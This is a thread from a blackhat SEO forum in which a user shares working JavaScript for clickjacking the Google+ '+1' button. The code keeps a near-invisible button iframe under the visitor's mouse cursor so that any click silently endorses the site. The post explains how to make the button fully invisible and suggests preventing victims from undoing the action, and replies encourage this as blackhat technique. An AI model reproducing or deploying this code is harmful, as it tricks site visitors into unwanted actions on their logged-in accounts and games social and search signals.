[GET] Google's G+ Clickjacking code

moviedemands

BANNED
Joined
Jun 22, 2011
Messages
204
Reaction score
157
I have seen another thread here that provided code for clickjacking, but the code was very ugly.
What this does is creates a g+ button that follows your mouse cursor around so when the person click on the site they are adding your site to their g+ account sharing it with their friends. (if they are logged into their google account)

This code needs to be edited, rite now its setup so you can see the g+ button just to show you how it works.
When you want to hide the g+ button simple change the line below:

Change: twitterFollowIframe.style.filter = 'alpha(opacity=20)';
To: twitterFollowIframe.style.filter = 'alpha(opacity=0)';

Also, you need to add to the script, rite now the page does not refresh or add cookies to stop the people from clicking again and removing the g+ from their account. This is just the basic setup, you will need to add to it.

Ignore the "twitter" inside the code, this was created to exploit twitters new one click follow button. Then noticed it could be used for g+ as well.

Here's a clean version:

Code:
<html>
<head>
<style>
</style>
<script type="text/javascript" src="http://apis.google.com/js/plusone.js">
{lang: 'en'}
</script>
</head>
<center><h1>Google+ CJ Code</h1></center>

<div>
<g:plusone size="small"></g:plusone>
</div>


<script>
if (!document.getElementsByClassName){
    document.getElementsByClassName = function(classname){
        for (i=0; i<document.getElementsByTagName("*").length; i++)
        {  
            if (document.getElementsByTagName("*").item(i).className == classname){
                return new Array(document.getElementsByTagName("*").item(i));
            }
        }
    }
}

var twitterFollowIframe = document.getElementById('___plusone_0');

function getDivId(){
    twitterFollowIframe = document.getElementById('___plusone_0');
    if(twitterFollowIframe == null){
        setTimeout("getDivId()",200);
    }else{
        twitterFollowIframe.style.position = 'absolute';
        twitterFollowIframe.style.opacity = '0.2';
        twitterFollowIframe.style.filter = 'alpha(opacity=20)';
    }
}

getDivId();

document.onmousemove = function(e){
    if ( !e ) e = window.event;
    if(twitterFollowIframe != null){
        twitterFollowIframe.style.left = e.clientX - 15;
        twitterFollowIframe.style.top = e.clientY - 10;
    }
}
</script>
</html>
I'm not taken credit for this, simply sharing.
This must be upload, it wont work on your desktop.

Feel free to click the "thanks" button
 
Last edited:
not sure if it was from this or my facebook clickjack, or from panda update but my entire site was deindexed - let me know if this happened to anyone else
 
google is extra cautious about click jackers and people who outsource google +1s .. never try it on your money making site..
 
I saw this before on other forums :D

this is the easy way to get penalize by google I read many of those on other forums
 
it sure is a good way to get a google slap, its clickjacking.
if you understand what clickjacking is you should know it comes with a risk.

Your on a BH forum, learn to think blackhat.
 
Thanks for the share, but I wouldn't recommend doing this on the money site. I think google is extra cautious about clickjacking and you could easily get banned.
 
Thanks for the code! I've been looking for a similar script for a while now. I think with a little tweaking it will fit my needs quite nicely :)
 
guys, stop using my thread to increase your post count lol

If you want to say thanks use the "thanks" button located on the bottom right of every post.
 
OP....please search the forums first, this was already shared by Harro

http://www.blackhatworld.com/blackhat-seo/blackhat-lounge/314683-google-1-clickjacking.html
 
OP....please search the forums first, this was already shared by Harro

http://www.blackhatworld.com/blackhat-seo/blackhat-lounge/314683-google-1-clickjacking.html

lol wow..
I don't want to sound rude but man, did you even bother to take a look at both threads? The code IS NOT the same. his share has some ugly code.

Please before you try to link to other threads inside mine please make sure you know what your talking about. thanks

NOTICE:

"I have seen another thread here that provided code for clickjacking, but the code was very ugly."
 
Last edited:
lol wow..
I don't want to sound rude but man, did you even bother to take a look at both threads? The code IS NOT the same. his share has some ugly code.

Please before you try to link to other threads inside mine please make sure you know what your talking about. thanks

NOTICE:

"I have seen another thread here that provided code for clickjacking, but the code was very ugly."

Those are some strong words talking about Harro like that...


his share has some ugly code --> his share..not he has
the code was very ugly --> the code...not Harro

and if you guys read into it again..
Harro and Facebookdude took it for some site..
so knock it off guys...
 
his share has some ugly code --> his share..not he has
the code was very ugly --> the code...not Harro

and if you guys read into it again..
Harro and Facebookdude took it for some site..
so knock it off guys...

You want to have some respect man. I shared the code MONTHS ago then Harro shared it. You could've shared yours and called it 'The Improved +1 Clickjack' but instead you come in and call ours ugly? Wtf dude. Your code isn't revolutionary, it does the same things ours does.
 
Back
Top